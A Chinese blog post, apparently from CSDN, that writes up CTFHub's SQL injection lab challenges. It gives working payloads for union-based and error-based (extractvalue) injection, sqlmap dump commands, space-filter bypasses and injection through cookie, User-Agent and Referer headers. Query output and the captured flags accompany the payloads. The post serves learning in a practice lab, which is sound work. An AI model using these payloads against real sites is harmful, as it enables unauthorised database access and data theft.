

# CTFHub技能树.Web.SQL注入 WriteUp与SQL注入学习笔记

原创

[quantum\\_\(\\*/\\*\\\*\)](#) 于 2021-04-19 00:07:13 发布 133 收藏

文章标签: [mysql](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_45716477/article/details/115799980](https://blog.csdn.net/qq_45716477/article/details/115799980)

版权

## 目录

### 题解

0x01 整数型注入

0x02 字符型注入

0x03 报错注入

0x04 布尔盲注

0x05 时间盲注

0x06 MySQL结构

0x07 过滤空格

0x08 Cookie注入

0x09 UA注入

0x0A Refer注入

### 参考资料

## 题解

### 0x01 整数型注入

# SQL 整数型注入

ID 输个1试试?

Search

```
select * from news where id=1
```

ID: 1

Data: ctfhub

[https://blog.csdn.net/qi\\_45716477](https://blog.csdn.net/qi_45716477)

输入 `1 and 1=1` 和 `1 and 1=2`。

# SQL 整数型注入

ID 输个1试试?

Search

```
select * from news where id=1 and 1=1
```

ID: 1

Data: ctfhub

[https://blog.csdn.net/qi\\_45716477](https://blog.csdn.net/qi_45716477)

# SQL 整数型注入

ID 输个1试试?

Search

```
select * from news where id=1 and 1=2
```

[https://blog.csdn.net/qi\\_45716477](https://blog.csdn.net/qi_45716477)

输入 `1 and 1=2` 时界面与 `1 and 1=1` 不同，说明服务端解析了输入的代码，此处存在SQL注入漏洞。

# SQL 整数型注入

ID 输个1试试?

Search

```
select * from news where id=id=123 union select database(),2#
```

ID: sqli

Data: 2

[https://blog.csdn.net/qi\\_45716477](https://blog.csdn.net/qi_45716477)

输入 `1 order by x` (x可以是1,2,3.....)查看字段数。

## SQL 整数型注入

ID 输个1试试?

```
select * from news where id=1 order by 1
```

ID: 1  
Data: ctftHub

[https://blog.csdn.net/hu\\_45716477](https://blog.csdn.net/hu_45716477)

## SQL 整数型注入

ID 输个1试试?

```
select * from news where id=1 order by 2
```

ID: 1  
Data: ctftHub

[https://blog.csdn.net/hu\\_45716477](https://blog.csdn.net/hu_45716477)

## SQL 整数型注入

ID 输个1试试?

```
select * from news where id=1 order by 3
```

[https://blog.csdn.net/hu\\_45716477](https://blog.csdn.net/hu_45716477)

发现输入 `1 order by 3` 时无回显，说明字段数是2。

## 为什么要查看字段数？

后续注入需要用到union操作符，而根据union操作符的说明，union内部的select语句必须拥有相同数量的列，即通过union连接的两条SQL语句必须字段数一样。[^1]

随后输入 `123 union select 1,2` 可以看到第一个和第二个字段都可以正常在网页中显示。



SQL 整数型注入

ID 输入1试试? Search

```
select * from news where id=123 union select 1,2
```

ID: 1  
Data: 2

https://blog.csdn.net/qz\_45716477

输入 `123 union select 1,database()` 成功看到当前数据库名称为 `sql`。



SQL 整数型注入

ID 输入1试试? Search

```
select * from news where id=123 union select 1,database()
```

ID: 1  
Data: sql

https://blog.csdn.net/qz\_45716477

输入 `123 union select 1,group_concat(schema_name)from information_schema.schemata` 可以看到所有数据库的名称。



SQL 整数型注入

ID 输入1试试? Search

```
select * from news where id=123 union select 1,group_concat(schema_name)from information_schema.schemata
```

ID: 1  
Data: information\_schema,performance\_schema,mysql,sql

https://blog.csdn.net/qz\_45716477

## 发生甚么事了？这行语句为什么可以看到所有数据库的名称？

information\_schema数据库是MySQL系统自带的数据库，其中保存着关于MySQL服务器所维护的所有其他数据库的信息。schemata是information\_schema库中的一张表，储存了当前mysql实例中所有数据库的信息。schmma\_name是列名，group\_concat()函数将组中的字符串连接成为具有各种选项的单个字符串。上面输入的语句含义即为查询information\_schema数据库中schemata表中的名为schema\_name的列中的所有内容并将其连接成一个字符串显示。为什么union左边变成123了？开始的时候不是1吗？

UNION的作用是将两个select查询结果合并，程序在展示数据的时候通常只会取结果集的第一行数据。这里无论怎么折腾最后只会出来第一行的查询结果。只要让第一行查询的结果是空，即union左边的select子句查询结果为空，那么union右边的查询结果自然就成为了第一行，打印在网页上了[^2]

说的简单点就是这里需要输入一个数据库中没有的数据，关键的不是123，关键的是数据库里没有123。

输入 `123 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'` 查看sqli数据库中的表名。



SQL 整数型注入

ID 输入1试试? Search

```
select * from news where id=123 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
```

ID: 1  
Data: news,flag

[https://blog.csdn.net/qi\\_d5716477](https://blog.csdn.net/qi_d5716477)

可以看到这里有两个表。

输入 `123 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'` 查看flag表中的字段名。



SQL 整数型注入

ID 输入1试试? Search

```
select * from news where id=123 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
```

ID: 1  
Data: flag

[https://blog.csdn.net/qi\\_d5716477](https://blog.csdn.net/qi_d5716477)

可以看到字段名也是 `flag`。

输入 `123 union select 1,group_concat(flag) from sqli.flag` 查看flag字段的数据。



SQL 整数型注入

ID 输入1试试? Search

```
select * from news where id=123 union select 1,group_concat(flag) from sqli.flag
```

ID: 1  
Data: ctfhub{9974a59fed1f95ac3353a5bc}

[https://blog.csdn.net/qi\\_d5716477](https://blog.csdn.net/qi_d5716477)

成功拿到了flag。

## 0x02 字符型注入

输个1试试，那就试试吧。



# SQL 字符型注入

ID 输个1试试?

Search

```
select * from news where id='1'
```

ID: 1

Data: ctfhub

[https://blog.csdn.net/qi\\_45716477](https://blog.csdn.net/qi_45716477)

可以看到sql内部查询语句为 `select * from news where id='1'`，1被单引号包了起来。这可不太好，我们输入之前的语句都会被当成字符串而不被执行。怎么办呢？我们可以输入一个单引号与前一个单引号闭合，再把后面一个单引号注释掉。sql中单行注释的方法有 `#` 和 `--`，注意 `--` 后面要跟一个空格。这里我选择 `#` 注释掉后面的单引号。

输入 `-1 union select 1,2#`，可以看到代码已经被成功执行了。

# SQL 字符型注入

ID 输个1试试?

Search

```
select * from news where id='-1' union select 1,2#'
```

ID: 1

Data: 2

[https://blog.csdn.net/qi\\_45716477](https://blog.csdn.net/qi_45716477)

接下来就是和整数型注入类似的操作。

# SQL 字符型注入

ID 输个1试试?

Search

```
select * from news where id='-1' union select 1,database()#'
```

ID: 1

Data: sqli

[https://blog.csdn.net/qi\\_45716477](https://blog.csdn.net/qi_45716477)

# SQL 字符型注入

ID 输个1试试?

Search

```
select * from news where id='-1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#'
```

ID: 1

Data: news,flag

[https://blog.csdn.net/qi\\_45716477](https://blog.csdn.net/qi_45716477)

## SQL 字符型注入

ID 输个1试试?

Search

```
select * from news where id='-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #'
```

ID: 1

Data: flag

[https://blog.csdn.net/qi\\_45716477](https://blog.csdn.net/qi_45716477)

## SQL 字符型注入

ID 输个1试试?

Search

```
select * from news where id='-1' union select 1,group_concat(flag) from flag #'
```

ID: 1

Data: ctftHub{41a26d8d2a43f99f831c233e}

[https://blog.csdn.net/qi\\_45716477](https://blog.csdn.net/qi_45716477)

### 0x03 报错注入

输入 `1 and(select extractvalue(1,concat(0x7e,(select database()))))` 成功看到数据库名。

## SQL 报错注入

ID 输个1试试?

Search

```
select * from news where id=1 and(select extractvalue(1,concat(0x7e,(select database()))))
```

查询错误: XPATH syntax error: '~sqli'

[https://blog.csdn.net/qi\\_45716477](https://blog.csdn.net/qi_45716477)

#### 代码含义

`extractvalue` 函数原型为 `extractvalue(xml_document,Xpath_string)`，即它的第二个参数应该是个符合Xpath语法规则的字符串。如果不满足此要求就会报错，并将查询结果放在报错信息里。`concat`函数则是连接两个字符串，形成一个字符串。0x7e即~字符，而~开头的字符串是不符合Xpath语法规则的。因此可以在报错信息里看到想要查询的内容。同样的，构造 `1 and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="sqli"))))` 即可查看表名。

## SQL 报错注入

ID 输个1试试?

Search

```
select * from news where id=1 and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="sqli"))))
```

```
information_schema.tables where table_schema="sql1"))))
```

查询错误: XPATH syntax error: '~news,flag'

[https://blog.csdn.net/qz\\_45716477](https://blog.csdn.net/qz_45716477)

输入 `1 and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="flag"))))` 查看字段名。

## SQL 报错注入

ID 输个1试试?

Search

```
select * from news where id=1 and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="flag"))))
```

查询错误: XPATH syntax error: '~flag'

[https://blog.csdn.net/qz\\_45716477](https://blog.csdn.net/qz_45716477)

输入 `1 and(select extractvalue(1,concat(0x7e,(select group_concat(flag) from flag))))` 可以看到flag已经出来了。

## SQL 报错注入

ID 输个1试试?

Search

```
select * from news where id=1 and(select extractvalue(1,concat(0x7e,(select group_concat(flag) from flag))))
```

查询错误: XPATH syntax error: '~ctfhub{e833c8e788356f0805249f98}'

[https://blog.csdn.net/qz\\_45716477](https://blog.csdn.net/qz_45716477)

显然，这里显示的flag并不完整，估计是因为回显的长度有限制。利用right函数显示剩余内容，可以看到缺少了右边的大括号。

### 0x04 布尔盲注

基于布尔的盲注原理并不复杂，只是十分繁琐，一般用自己写的脚本或者工具注入。因为我还不太会写Python脚本，因此这里使用SQLMap进行注入。

查看当前数据库。

```
python sqlmap.py -u <url> --dbs
```

查看sql数据库中所有表名。

```
python sqlmap.py -u <url> -D sqli --tables
```

查看字段。

```
python sqlmap.py -u <url> -D sqli -T flag --columns
```

查看数据。



```
python sqlmap.py -u <url> -D sqli -T flag -C flag --dump
```

盲注速度不快，因此可以在命令后加上 `--batch` 让SQLMap自动选择(y/n)。

## 0x05 时间盲注

基本操作同布尔盲注。

## 0x06 MySQL结构

这道题本质还是整数型注入，只是为了让我们对MySQL的结构更加了解，将表名和字段名都变了。



The screenshot shows a web application titled "MySQL结构". It has a search input field with the text "ID 输个1试试?" and a "Search" button. Below the input field, the following SQL query is displayed: `select * from news where id=123 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'`. The results show "ID: 1" and "Data: news,jpokiqravr". A small URL [https://blog.csdn.net/qi\\_45716477](https://blog.csdn.net/qi_45716477) is visible in the bottom right corner.



The screenshot shows a web application titled "MySQL结构". It has a search input field with the text "ID 输个1试试?" and a "Search" button. Below the input field, the following SQL query is displayed: `select * from news where id=123 union select 1,group_concat(column_name) from information_schema.columns where table_name='jpokiqravr'`. The results show "ID: 1" and "Data: kgwynrapzz". A small URL [https://blog.csdn.net/qi\\_45716477](https://blog.csdn.net/qi_45716477) is visible in the bottom right corner.



The screenshot shows a web application titled "MySQL结构". It has a search input field with the text "ID 输个1试试?" and a "Search" button. Below the input field, the following SQL query is displayed: `select * from news where id=123 union select 1,group_concat(kgwynrapzz) from sqli.jpokiqravr`. The results show "ID: 1" and "Data: ctfhub{1b067e96aca03ddaf5554483}". A small URL [https://blog.csdn.net/qi\\_45716477](https://blog.csdn.net/qi_45716477) is visible in the bottom right corner.

## 0x07 过滤空格

对于过滤空格的注入，可以考虑用 `/**/`、`#`、`()` 等代替空格或使用 `%0A`、`%0B`、`%0C`、`%0D` 等url字符代替空格。

## 0x08 Cookie注入

利用Burp抓包，此题的注入点在cookie处。或者可以选择使用SQLMap的 `--level 2` 档位自动注入。

## 0x09 UA注入

利用Burp抓包，此题的注入点在user-agent处。或者可以选择使用SQLMap的 `--level 3` 档位自动注入。

## 0x0A Referer注入

利用Burp抓包，此题的注入点需要在请求头中添加referer字段后进行注入，或者选择使用SQLMap的 `--level 5` 档位自动注入。

## 参考资料

[你真的会SQL注入攻击吗?\(下\)](#)

[SQL注入之联合查询注入](#)

《从0到1：CTFer成长之路》